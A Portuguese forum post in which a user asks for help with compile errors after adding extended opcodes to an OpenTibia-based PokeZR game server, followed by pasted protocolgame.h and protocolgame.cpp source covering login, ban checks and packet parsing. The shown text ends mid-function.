Postado Junho 5, 2019 6 anos Base PokeZR Quanto eu tentei adicionar o opcodes em minhas sources e tentei compilar deu erro (Sources que mexi) protocolgame.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __PROTOCOLGAME__ #define __PROTOCOLGAME__ #include "otsystem.h" #include "enums.h" #include "protocol.h" #include "creature.h" class NetworkMessage; class Player; class Game; class House; class Container; class Tile; class Connection; class Quest; typedef boost::shared_ptr<NetworkMessage> NetworkMessage_ptr; class ProtocolGame : public Protocol { public: #ifdef __ENABLE_SERVER_DIAGNOSTIC__ static uint32_t protocolGameCount; #endif ProtocolGame(Connection_ptr connection): Protocol(connection) { #ifdef __ENABLE_SERVER_DIAGNOSTIC__ protocolGameCount++; #endif player = NULL; m_eventConnect = 0; m_debugAssertSent = m_acceptPackets = false; } virtual ~ProtocolGame() { #ifdef __ENABLE_SERVER_DIAGNOSTIC__ protocolGameCount--; #endif player = NULL; } enum {protocolId = 0x0A}; enum {isSingleSocket = true}; enum {hasChecksum = true}; static const char* protocolName() {return "game protocol";} bool login(const std::string& name, uint32_t id, const std::string& password, OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster); bool logout(bool displayEffect, bool forceLogout); void setPlayer(Player* p); private: void disconnectClient(uint8_t error, const char* message); std::list<uint32_t> knownCreatureList; void checkCreatureAsKnown(uint32_t id, bool& known, uint32_t& removedKnown); bool connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version); void disconnect(); virtual void releaseProtocol(); virtual void deleteProtocolTask(); bool canSee(uint16_t x, uint16_t y, uint16_t z) const; bool canSee(const Creature*) const; bool canSee(const Position& pos) const; virtual void onConnect(); virtual void onRecvFirstMessage(NetworkMessage& msg); bool parseFirstPacket(NetworkMessage& msg); virtual void parsePacket(NetworkMessage& msg); //Parse methods void parseLogout(NetworkMessage& msg); void parseCancelMove(NetworkMessage& msg); void parseReceivePing(NetworkMessage& msg); void parseAutoWalk(NetworkMessage& msg); void parseMove(NetworkMessage& msg, Direction dir); void parseTurn(NetworkMessage& msg, Direction dir); void parseRequestOutfit(NetworkMessage& msg); void parseSetOutfit(NetworkMessage& msg); void parseSay(NetworkMessage& msg); void parseLookAt(NetworkMessage& msg); void parseFightModes(NetworkMessage& msg); void parseAttack(NetworkMessage& msg); void parseFollow(NetworkMessage& msg); void parseBugReport(NetworkMessage& msg); void parseDebugAssert(NetworkMessage& msg); void parseThrow(NetworkMessage& msg); void parseUseItemEx(NetworkMessage& msg); void parseBattleWindow(NetworkMessage& msg); void parseUseItem(NetworkMessage& msg); void parseCloseContainer(NetworkMessage& msg); void parseUpArrowContainer(NetworkMessage& msg); void parseUpdateTile(NetworkMessage& msg); void parseUpdateContainer(NetworkMessage& msg); void parseTextWindow(NetworkMessage& msg); void parseHouseWindow(NetworkMessage& msg); void parseLookInShop(NetworkMessage& msg); void parsePlayerPurchase(NetworkMessage& msg); void parsePlayerSale(NetworkMessage& msg); void parseCloseShop(NetworkMessage& msg); void parseQuests(NetworkMessage& msg); void parseQuestInfo(NetworkMessage& msg); void parseInviteToParty(NetworkMessage& msg); void parseJoinParty(NetworkMessage& msg); void parseRevokePartyInvite(NetworkMessage& msg); void parsePassPartyLeadership(NetworkMessage& msg); void parseLeaveParty(NetworkMessage& msg); void parseSharePartyExperience(NetworkMessage& msg); //trade methods void parseRequestTrade(NetworkMessage& msg); void parseLookInTrade(NetworkMessage& msg); void parseAcceptTrade(NetworkMessage& msg); void parseCloseTrade(); //VIP methods void parseAddVip(NetworkMessage& msg); void parseRemoveVip(NetworkMessage& msg); void parseRotateItem(NetworkMessage& msg); //Channel tabs void parseCreatePrivateChannel(NetworkMessage& msg); void parseChannelInvite(NetworkMessage& msg); void parseChannelExclude(NetworkMessage& msg); void parseGetChannels(NetworkMessage& msg); void parseOpenChannel(NetworkMessage& msg); void parseOpenPriv(NetworkMessage& msg); void parseCloseChannel(NetworkMessage& msg); void parseCloseNpc(NetworkMessage& msg); void parseProcessRuleViolation(NetworkMessage& msg); void parseCloseRuleViolation(NetworkMessage& msg); void parseCancelRuleViolation(NetworkMessage& msg); //Send functions void sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel); void sendClosePrivate(uint16_t channelId); void sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName); void sendChannelsDialog(); void sendChannel(uint16_t channelId, const std::string& channelName); void sendRuleViolationsChannel(uint16_t channelId); void sendOpenPrivateChannel(const std::string& receiver); void sendToChannel(const Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time = 0); void sendRemoveReport(const std::string& name); void sendLockRuleViolation(); void sendRuleViolationCancel(const std::string& name); void sendIcons(int32_t icons); void sendFYIBox(const std::string& message); void sendDistanceShoot(const Position& from, const Position& to, uint8_t type); void sendMagicEffect(const Position& pos, uint8_t type); void sendAnimatedText(const Position& pos, uint8_t color, std::string text); void sendCreatureHealth(const Creature* creature); void sendSkills(); void sendPing(); void sendCreatureTurn(const Creature* creature, int16_t stackpos); void sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos = NULL); void sendCancel(const std::string& message); void sendCancelWalk(); void sendChangeSpeed(const Creature* creature, uint32_t speed); void sendCancelTarget(); void sendCreatureOutfit(const Creature* creature, const Outfit_t& outfit); void sendStats(); void sendTextMessage(MessageClasses mclass, const std::string& message); void sendReLoginWindow(); void sendTutorial(uint8_t tutorialId); void sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc); void sendCreatureSkull(const Creature* creature); void sendCreatureShield(const Creature* creature); void sendShop(const ShopInfoList& shop); void sendCloseShop(); void sendGoods(const ShopInfoList& shop); void sendTradeItemRequest(const Player* player, const Item* item, bool ack); void sendCloseTrade(); void sendTextWindow(uint32_t windowTextId, Item* item, uint16_t maxLen, bool canWrite); void sendTextWindow(uint32_t windowTextId, uint32_t itemId, const std::string& text); void sendHouseWindow(uint32_t windowTextId, House* house, uint32_t listId, const std::string& text); void sendOutfitWindow(); void sendQuests(); void sendQuestInfo(Quest* quest); void reloadCreature(const Creature* creature); void sendCreatureNick(const Creature* creature); void sendVIPLogIn(uint32_t guid); void sendVIPLogOut(uint32_t guid); void sendVIP(uint32_t guid, const std::string& name, bool isOnline); void sendCreatureLight(const Creature* creature); void sendWorldLight(const LightInfo& lightInfo); void sendCreatureSquare(const Creature* creature, SquareColor_t color); //tiles void sendAddTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item); void sendUpdateTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item); void sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos); void sendUpdateTile(const Tile* tile, const Position& pos); void sendAddCreature(const Creature* creature, const Position& pos, uint32_t stackpos); void sendRemoveCreature(const Creature* creature, const Position& pos, uint32_t stackpos); void sendMoveCreature(const Creature* creature, const Tile* newTile, const Position& newPos, uint32_t newStackPos, const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport); //containers void sendAddContainerItem(uint8_t cid, const Item* item); void sendUpdateContainerItem(uint8_t cid, uint8_t slot, const Item* item); void sendRemoveContainerItem(uint8_t cid, uint8_t slot); void sendContainer(uint32_t cid, const Container* container, bool hasParent); void sendCloseContainer(uint32_t cid); //inventory void sendAddInventoryItem(slots_t slot, const Item* item); void sendUpdateInventoryItem(slots_t slot, const Item* item); void sendRemoveInventoryItem(slots_t slot); //Help functions // translate a tile to clientreadable format void GetTileDescription(const Tile* tile, NetworkMessage_ptr msg); // translate a floor to clientreadable format void GetFloorDescription(NetworkMessage_ptr msg, int32_t x, int32_t y, int32_t z, int32_t width, int32_t height, int32_t offset, int32_t& skip); // translate a map area to clientreadable format void GetMapDescription(int32_t x, int32_t y, int32_t z, int32_t width, int32_t height, NetworkMessage_ptr msg); void AddMapDescription(NetworkMessage_ptr msg, const Position& pos); void AddTextMessage(NetworkMessage_ptr msg, MessageClasses mclass, const std::string& message); void AddAnimatedText(NetworkMessage_ptr msg, const Position& pos, uint8_t color, const std::string& text); void AddMagicEffect(NetworkMessage_ptr msg, const Position& pos, uint8_t type); void AddDistanceShoot(NetworkMessage_ptr msg, const Position& from, const Position& to, uint8_t type); void AddCreature(NetworkMessage_ptr msg, const Creature* creature, bool known, uint32_t remove); void AddPlayerStats(NetworkMessage_ptr msg); void AddCreatureSpeak(NetworkMessage_ptr msg, const Creature* creature, SpeakClasses type, std::string text, uint16_t channelId, uint32_t time = 0, Position* pos = NULL); void AddCreatureHealth(NetworkMessage_ptr msg, const Creature* creature); void AddCreatureOutfit(NetworkMessage_ptr msg, const Creature* creature, const Outfit_t& outfit, bool outfitWindow = false); void AddPlayerSkills(NetworkMessage_ptr msg); void AddWorldLight(NetworkMessage_ptr msg, const LightInfo& lightInfo); void AddCreatureLight(NetworkMessage_ptr msg, const Creature* creature); //tiles void AddTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item); void AddTileCreature(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Creature* creature); void UpdateTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item); void RemoveTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos); void MoveUpCreature(NetworkMessage_ptr msg, const Creature* creature, const Position& newPos, const Position& oldPos, uint32_t oldStackpos); void MoveDownCreature(NetworkMessage_ptr msg, const Creature* creature, const Position& newPos, const Position& oldPos, uint32_t oldStackpos); //container void AddContainerItem(NetworkMessage_ptr msg, uint8_t cid, const Item* item); void UpdateContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot, const Item* item); void RemoveContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot); //inventory void AddInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item); void UpdateInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item); void RemoveInventoryItem(NetworkMessage_ptr msg, slots_t slot); //rule violation window void parseViolationWindow(NetworkMessage& msg); //shop void AddShopItem(NetworkMessage_ptr msg, const ShopInfo item); void parseExtendedOpcode(NetworkMessage& msg); void sendExtendedOpcode(uint8_t opcode, const std::string& buffer); #define addGameTask(f, ...) addGameTaskInternal(0, boost::bind(f, &g_game, __VA_ARGS__)) #define addGameTaskTimed(delay, f, ...) addGameTaskInternal(delay, boost::bind(f, &g_game, __VA_ARGS__)) template<class FunctionType> void addGameTaskInternal(uint32_t delay, const FunctionType&); friend class Player; Player* player; uint32_t m_eventConnect; bool m_debugAssertSent, m_acceptPackets; }; #endif protocolgame.cpp Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #include "otpch.h" #include "resources.h" #include <boost/function.hpp> #include <iostream> #include "protocolgame.h" #include "textlogger.h" #include "waitlist.h" #include "player.h" #include "connection.h" #include "networkmessage.h" #include "outputmessage.h" #include "iologindata.h" #include "ioban.h" #include "items.h" #include "tile.h" #include "house.h" #include "actions.h" #include "creatureevent.h" #include "quests.h" #include "chat.h" #include "configmanager.h" #include "game.h" #if defined(WINDOWS) && !defined(__CONSOLE__) #include "gui.h" #endif extern Game g_game; extern ConfigManager g_config; extern Actions actions; extern CreatureEvents* g_creatureEvents; extern Chat g_chat; template<class FunctionType> void ProtocolGame::addGameTaskInternal(uint32_t delay, const FunctionType& func) { if(delay > 0) Dispatcher::getInstance().addTask(createTask(delay, func)); else Dispatcher::getInstance().addTask(createTask(func)); } #ifdef __ENABLE_SERVER_DIAGNOSTIC__ uint32_t ProtocolGame::protocolGameCount = 0; #endif void ProtocolGame::setPlayer(Player* p) { player = p; } void ProtocolGame::releaseProtocol() { if(player && player->client == this) player->client = NULL; Protocol::releaseProtocol(); } void ProtocolGame::deleteProtocolTask() { if(player) { g_game.freeThing(player); player = NULL; } Protocol::deleteProtocolTask(); } bool ProtocolGame::login(const std::string& name, uint32_t id, const std::string& password, OperatingSystem_t operatingSystem, uint16_t version, bool gamemaster) { //dispatcher thread PlayerVector players = g_game.getPlayersByName(name); Player* _player = NULL; if(!players.empty()) _player = players[random_range(0, (players.size() - 1))]; if(!_player || name == "Account Manager" || g_config.getNumber(ConfigManager::ALLOW_CLONES) > (int32_t)players.size()) { player = new Player(name, this); player->addRef(); player->setID(); if(!IOLoginData::getInstance()->loadPlayer(player, name, true)) { disconnectClient(0x14, "Your character could not be loaded."); return false; } Ban ban; ban.value = player->getID(); ban.param = PLAYERBAN_BANISHMENT; ban.type = BAN_PLAYER; if(IOBan::getInstance()->getData(ban) && !player->hasFlag(PlayerFlag_CannotBeBanned)) { bool deletion = ban.expires < 0; std::string name_ = "Automatic "; if(!ban.adminId) name_ += (deletion ? "deletion" : "banishment"); else IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true); char buffer[500 + ban.comment.length()]; sprintf(buffer, "Your character has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.", (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(), getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(), (deletion ? "character won't be undeleted" : "banishment will be lifted at:\n"), (deletion ? "." : formatDateShort(ban.expires, true).c_str())); disconnectClient(0x14, buffer); return false; } if(IOBan::getInstance()->isPlayerBanished(player->getGUID(), PLAYERBAN_LOCK) && id != 1) { if(g_config.getBool(ConfigManager::NAMELOCK_MANAGER)) { player->name = "Account Manager"; player->accountManager = MANAGER_NAMELOCK; player->managerNumber = id; player->managerString2 = name; } else { disconnectClient(0x14, "Your character has been namelocked."); return false; } } else if(player->getName() == "Account Manager" && g_config.getBool(ConfigManager::ACCOUNT_MANAGER)) { if(id != 1) { player->accountManager = MANAGER_ACCOUNT; player->managerNumber = id; } else player->accountManager = MANAGER_NEW; } if(gamemaster && !player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges)) { disconnectClient(0x14, "You are not a gamemaster! Turn off the gamemaster mode in your IP changer."); return false; } if(!player->hasFlag(PlayerFlag_CanAlwaysLogin)) { if(g_game.getGameState() == GAME_STATE_CLOSING) { disconnectClient(0x14, "Gameworld is just going down, please come back later."); return false; } if(g_game.getGameState() == GAME_STATE_CLOSED) { disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado."); return false; } } if(g_config.getBool(ConfigManager::ONE_PLAYER_ON_ACCOUNT) && !player->isAccountManager() && !IOLoginData::getInstance()->hasCustomFlag(id, PlayerCustomFlag_CanLoginMultipleCharacters)) { bool found = false; PlayerVector tmp = g_game.getPlayersByAccount(id); for(PlayerVector::iterator it = tmp.begin(); it != tmp.end(); ++it) { if((*it)->getName() != name) continue; found = true; break; } if(tmp.size() > 0 && !found) { disconnectClient(0x14, "You may only login with one character\nof your account at the same time."); return false; } } if(!WaitingList::getInstance()->login(player)) { if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false)) { TRACK_MESSAGE(output); std::stringstream ss; ss << "Too many players online.\n" << "You are "; int32_t slot = WaitingList::getInstance()->getSlot(player); if(slot) { ss << "at "; if(slot > 0) ss << slot; else ss << "unknown"; ss << " place on the waiting list."; } else ss << "awaiting connection..."; output->AddByte(0x16); output->AddString(ss.str()); output->AddByte(WaitingList::getTime(slot)); OutputMessagePool::getInstance()->send(output); } getConnection()->close(); return false; } if(!IOLoginData::getInstance()->loadPlayer(player, name)) { disconnectClient(0x14, "Your character could not be loaded."); return false; } player->setOperatingSystem(operatingSystem); player->setClientVersion(version); if(!g_game.placeCreature(player, player->getLoginPosition()) && !g_game.placeCreature(player, player->getMasterPosition(), false, true)) { disconnectClient(0x14, "Temple position is wrong. Contact with the administration."); return false; } player->lastIP = player->getIP(); player->lastLoad = OTSYS_TIME(); player->lastLogin = std::max(time(NULL), player->lastLogin + 1); m_acceptPackets = true; return true; } else if(_player->client) { if(m_eventConnect || !g_config.getBool(ConfigManager::REPLACE_KICK_ON_LOGIN)) { //A task has already been scheduled just bail out (should not be overriden) disconnectClient(0x14, "You are already logged in."); return false; } g_chat.removeUserFromAllChannels(_player); _player->disconnect(); _player->isConnecting = true; addRef(); m_eventConnect = Scheduler::getInstance().addEvent(createSchedulerTask( 1000, boost::bind(&ProtocolGame::connect, this, _player->getID(), operatingSystem, version))); return true; } addRef(); return connect(_player->getID(), operatingSystem, version); } bool ProtocolGame::logout(bool displayEffect, bool forceLogout) { //dispatcher thread if(!player) return false; if(!player->isRemoved()) { if(!forceLogout) { if(!IOLoginData::getInstance()->hasCustomFlag(player->getAccount(), PlayerCustomFlag_CanLogoutAnytime)) { if(player->getTile()->hasFlag(TILESTATE_NOLOGOUT)) { player->sendCancelMessage(RET_YOUCANNOTLOGOUTHERE); return false; } if(player->hasCondition(CONDITION_INFIGHT)) { player->sendCancelMessage(RET_YOUMAYNOTLOGOUTDURINGAFIGHT); return false; } if(!g_creatureEvents->playerLogout(player, false)) //let the script handle the error message return false; } else g_creatureEvents->playerLogout(player, false); } else if(!g_creatureEvents->playerLogout(player, true)); return false; } else displayEffect = false; if(displayEffect && !player->isGhost()) g_game.addMagicEffect(player->getPosition(), MAGIC_EFFECT_POFF); if(Connection_ptr connection = getConnection()) connection->close(); return g_game.removeCreature(player); } bool ProtocolGame::connect(uint32_t playerId, OperatingSystem_t operatingSystem, uint16_t version) { unRef(); m_eventConnect = 0; Player* _player = g_game.getPlayerByID(playerId); if(!_player || _player->isRemoved() || _player->client) { disconnectClient(0x14, "You are already logged in."); return false; } player = _player; player->addRef(); player->isConnecting = false; player->client = this; player->sendCreatureAppear(player); player->setOperatingSystem(operatingSystem); player->setClientVersion(version); player->lastIP = player->getIP(); player->lastLoad = OTSYS_TIME(); player->lastLogin = std::max(time(NULL), player->lastLogin + 1); m_acceptPackets = true; return true; } void ProtocolGame::disconnect() { if(getConnection()) getConnection()->close(); } void ProtocolGame::disconnectClient(uint8_t error, const char* message) { if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false)) { TRACK_MESSAGE(output); output->AddByte(error); output->AddString(message); OutputMessagePool::getInstance()->send(output); } disconnect(); } void ProtocolGame::onConnect() { if(OutputMessage_ptr output = OutputMessagePool::getInstance()->getOutputMessage(this, false)) { TRACK_MESSAGE(output); enableChecksum(); output->AddByte(0x1F); output->AddU16(random_range(0, 0xFFFF)); output->AddU16(0x00); output->AddByte(random_range(0, 0xFF)); OutputMessagePool::getInstance()->send(output); } } void ProtocolGame::onRecvFirstMessage(NetworkMessage& msg) { parseFirstPacket(msg); } bool ProtocolGame::parseFirstPacket(NetworkMessage& msg) { if( #if defined(WINDOWS) && !defined(__CONSOLE__) !GUI::getInstance()->m_connections || #endif g_game.getGameState() == GAME_STATE_SHUTDOWN) { getConnection()->close(); return false; } OperatingSystem_t operatingSystem = (OperatingSystem_t)msg.GetU16(); uint16_t version = msg.GetU16(); if(!RSA_decrypt(msg)) { disconnectClient(0x14, "Você só pode logar com o Client Oficial."); return false; } uint32_t key[4] = {msg.GetU32(), msg.GetU32(), msg.GetU32(), msg.GetU32()}; enableXTEAEncryption(); setXTEAKey(key); // notifies to otclient that this server can receive extended game protocol opcodes if(operatingSystem >= CLIENTOS_OTCLIENT_LINUX) sendExtendedOpcode(0x00, std::string()); bool gamemaster = msg.GetByte(); std::string name = msg.GetString(), character = msg.GetString(), password = msg.GetString(); msg.SkipBytes(6); //841- wtf? if(version < CLIENT_VERSION_MIN || version > CLIENT_VERSION_MAX) { disconnectClient(0x14, CLIENT_VERSION_STRING); return false; } if(name.empty()) { if(!g_config.getBool(ConfigManager::ACCOUNT_MANAGER)) { disconnectClient(0x14, "Invalid account name."); return false; } name = "1"; password = "1"; } if(g_game.getGameState() < GAME_STATE_NORMAL) { disconnectClient(0x14, "Gameworld is just starting up, please wait."); return false; } if(g_game.getGameState() == GAME_STATE_MAINTAIN) { disconnectClient(0x14, "Servidor está em manutenção, tente se conectar mais tarde.\nCaso o problema persista por mais de 2 horas contacte algum administrador para que o mesmo seja solucionado."); return false; } if(ConnectionManager::getInstance()->isDisabled(getIP(), protocolId)) { disconnectClient(0x14, "Too many connections attempts from your IP address, please try again later."); return false; } if(IOBan::getInstance()->isIpBanished(getIP())) { disconnectClient(0x14, "Your IP is banished!"); return false; } uint32_t id = 1; if(!IOLoginData::getInstance()->getAccountId(name, id)) { ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false); disconnectClient(0x14, "Invalid account name."); return false; } std::string hash; if(!IOLoginData::getInstance()->getPassword(id, hash, character) || !encryptTest(password, hash)) { ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, false); disconnectClient(0x14, "Invalid password."); return false; } Ban ban; ban.value = id; ban.type = BAN_ACCOUNT; if(IOBan::getInstance()->getData(ban) && !IOLoginData::getInstance()->hasFlag(id, PlayerFlag_CannotBeBanned)) { bool deletion = ban.expires < 0; std::string name_ = "Automatic "; if(!ban.adminId) name_ += (deletion ? "deletion" : "banishment"); else IOLoginData::getInstance()->getNameByGuid(ban.adminId, name_, true); char buffer[500 + ban.comment.length()]; sprintf(buffer, "Your account has been %s at:\n%s by: %s,\nfor the following reason:\n%s.\nThe action taken was:\n%s.\nThe comment given was:\n%s.\nYour %s%s.", (deletion ? "deleted" : "banished"), formatDateShort(ban.added).c_str(), name_.c_str(), getReason(ban.reason).c_str(), getAction(ban.action, false).c_str(), ban.comment.c_str(), (deletion ? "account won't be undeleted" : "banishment will be lifted at:\n"), (deletion ? "." : formatDateShort(ban.expires, true).c_str())); disconnectClient(0x14, buffer); return false; } ConnectionManager::getInstance()->addAttempt(getIP(), protocolId, true); Dispatcher::getInstance().addTask(createTask(boost::bind( &ProtocolGame::login, this, character, id, password, operatingSystem, version, gamemaster))); return true; } void ProtocolGame::parsePacket(NetworkMessage &msg) { if(!player || !m_acceptPackets || g_game.getGameState() == GAME_STATE_SHUTDOWN || msg.getMessageLength() <= 0) return; uint8_t recvbyte = msg.GetByte(); //a dead player cannot performs actions if(player->isRemoved() && recvbyte != 0x14) return; if(player->isAccountManager()) { switch(recvbyte) { case 0x14: parseLogout(msg); break; case 0x96: parseSay(msg); break; default: sendCancelWalk(); break; } } else { switch(recvbyte) { case 0x14: // logout parseLogout(msg); break; case 0x1E: // keep alive / ping response case 0x32: // otclient extended opcodeparseExtendedOpcode(msg) parseReceivePing(msg); break; case 0x64: // move with steps parseAutoWalk(msg); break; case 0x65: // move north case 0x66: // move east case 0x67: // move south case 0x68: // move west parseMove(msg, (Direction)(recvbyte - 0x65)); break; case 0x69: // stop-autowalk addGameTask(&Game::playerStopAutoWalk, player->getID()); break; case 0x6A: parseMove(msg, NORTHEAST); break; case 0x6B: parseMove(msg, SOUTHEAST); break; case 0x6C: parseMove(msg, SOUTHWEST); break; case 0x6D: parseMove(msg, NORTHWEST); break; case 0x6F: // turn north case 0x70: // turn east case 0x71: // turn south case 0x72: // turn west parseTurn(msg, (Direction)(recvbyte - 0x6F)); break; case 0x78: // throw item parseThrow(msg); break; case 0x79: // description in shop window parseLookInShop(msg); break; case 0x7A: // player bought from shop parsePlayerPurchase(msg); break; case 0x7B: // player sold to shop parsePlayerSale(msg); break; case 0x7C: // player closed shop window parseCloseShop(msg); break; case 0x7D: // Request trade parseRequestTrade(msg); break; case 0x7E: // Look at an item in trade parseLookInTrade(msg); break; case 0x7F: // Accept trade parseAcceptTrade(msg); break; case 0x80: // close/cancel trade parseCloseTrade(); break; case 0x82: // use item parseUseItem(msg); break; case 0x83: // use item parseUseItemEx(msg); break; case 0x84: // battle window parseBattleWindow(msg); break; case 0x85: //rotate item parseRotateItem(msg); break; case 0x87: // close container parseCloseContainer(msg); break; case 0x88: //"up-arrow" - container parseUpArrowContainer(msg); break; case 0x89: parseTextWindow(msg); break; case 0x8A: parseHouseWindow(msg); break; case 0x8C: // throw item parseLookAt(msg); break; case 0x96: // say something parseSay(msg); break; case 0x97: // request channels parseGetChannels(msg); break; case 0x98: // open channel parseOpenChannel(msg); break; case 0x99: // close channel parseCloseChannel(msg); break; case 0x9A: // open priv parseOpenPriv(msg); break; case 0x9B: //process report parseProcessRuleViolation(msg); break; case 0x9C: //gm closes report parseCloseRuleViolation(msg); break; case 0x9D: //player cancels report parseCancelRuleViolation(msg); break; case 0x9E: // close NPC parseCloseNpc(msg); break; case 0xA0: // set attack and follow mode parseFightModes(msg); break; case 0xA1: // attack parseAttack(msg); break; case 0xA2: //follow parseFollow(msg); break; case 0xA3: // invite party parseInviteToParty(msg); break; case 0xA4: // join party parseJoinParty(msg); break; case 0xA5: // revoke party parseRevokePartyInvite(msg); break; case 0xA6: // pass leadership parsePassPartyLeadership(msg); break; case 0xA7: // leave party parseLeaveParty(msg); break; case 0xA8: // share exp parseSharePartyExperience(msg); break; case 0xAA: parseCreatePrivateChannel(msg); break; case 0xAB: parseChannelInvite(msg); break; case 0xAC: parseChannelExclude(msg); break; case 0xBE: // cancel move parseCancelMove(msg); break; case 0xC9: //client request to resend the tile parseUpdateTile(msg); break; case 0xCA: //client request to resend the container (happens when you store more than container maxsize) parseUpdateContainer(msg); break; case 0xD2: // request outfit if((!player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges) || !g_config.getBool( ConfigManager::DISABLE_OUTFITS_PRIVILEGED)) && (g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT) || g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS) || g_config.getBool(ConfigManager::ALLOW_CHANGEADDONS))) parseRequestOutfit(msg); break; case 0xD3: // set outfit if((!player->hasCustomFlag(PlayerCustomFlag_GamemasterPrivileges) || !g_config.getBool(ConfigManager::DISABLE_OUTFITS_PRIVILEGED)) && (g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS) || g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT))) parseSetOutfit(msg); break; case 0xDC: parseAddVip(msg); break; case 0xDD: parseRemoveVip(msg); break; case 0xE6: parseBugReport(msg); break; case 0xE7: parseViolationWindow(msg); break; case 0xE8: parseDebugAssert(msg); break; case 0xF0: parseQuests(msg); break; case 0xF1: parseQuestInfo(msg); break; default: { if(g_config.getBool(ConfigManager::BAN_UNKNOWN_BYTES)) { int64_t banTime = -1; ViolationAction_t action = ACTION_BANISHMENT; Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true); tmp.warnings++; if(tmp.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION)) action = ACTION_DELETION; else if(tmp.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN)) { banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH); action = ACTION_BANFINAL; } else banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH); if(IOBan::getInstance()->addAccountBanishment(tmp.number, banTime, 13, action, "Sending unknown packets to the server.", 0, player->getGUID())) { IOLoginData::getInstance()->saveAccount(tmp); player->sendTextMessage(MSG_INFO_DESCR, "You have been banished."); g_game.addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN); Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind( &Game::kickPlayer, &g_game, player->getID(), false))); } } std::stringstream hex, s; hex << "0x" << std::hex << (int16_t)recvbyte << std::dec; s << player->getName() << " sent unknown byte: " << hex << std::endl; LOG_MESSAGE(LOGTYPE_NOTICE, s.str(), "PLAYER") Logger::getInstance()->eFile(getFilePath(FILE_TYPE_LOG, "bots/" + player->getName() + ".log").c_str(), "[" + formatDate() + "] Received byte " + hex.str(), false); break; } } } } void ProtocolGame::GetTileDescription(const Tile* tile, NetworkMessage_ptr msg) { if(!tile) return; int32_t count = 0; if(tile->ground) { msg->AddItem(tile->ground); count++; } const TileItemVector* items = tile->getItemList(); const CreatureVector* creatures = tile->getCreatures(); ItemVector::const_iterator it; if(items) { for(it = items->getBeginTopItem(); (it != items->getEndTopItem() && count < 10); ++it, ++count) msg->AddItem(*it); } if(creatures) { for(CreatureVector::const_reverse_iterator cit = creatures->rbegin(); (cit != creatures->rend() && count < 10); ++cit) { if(!player->canSeeCreature(*cit)) continue; bool known; uint32_t removedKnown; checkCreatureAsKnown((*cit)->getID(), known, removedKnown); AddCreature(msg, (*cit), known, removedKnown); count++; } } if(items) { for(it = items->getBeginDownItem(); (it != items->getEndDownItem() && count < 10); ++it, ++count) msg->AddItem(*it); } } void ProtocolGame::GetMapDescription(int32_t x, int32_t y, int32_t z, int32_t width, int32_t height, NetworkMessage_ptr msg) { int32_t skip = -1, startz, endz, zstep = 0; if(z > 7) { startz = z - 2; endz = std::min((int32_t)MAP_MAX_LAYERS - 1, z + 2); zstep = 1; } else { startz = 7; endz = 0; zstep = -1; } for(int32_t nz = startz; nz != endz + 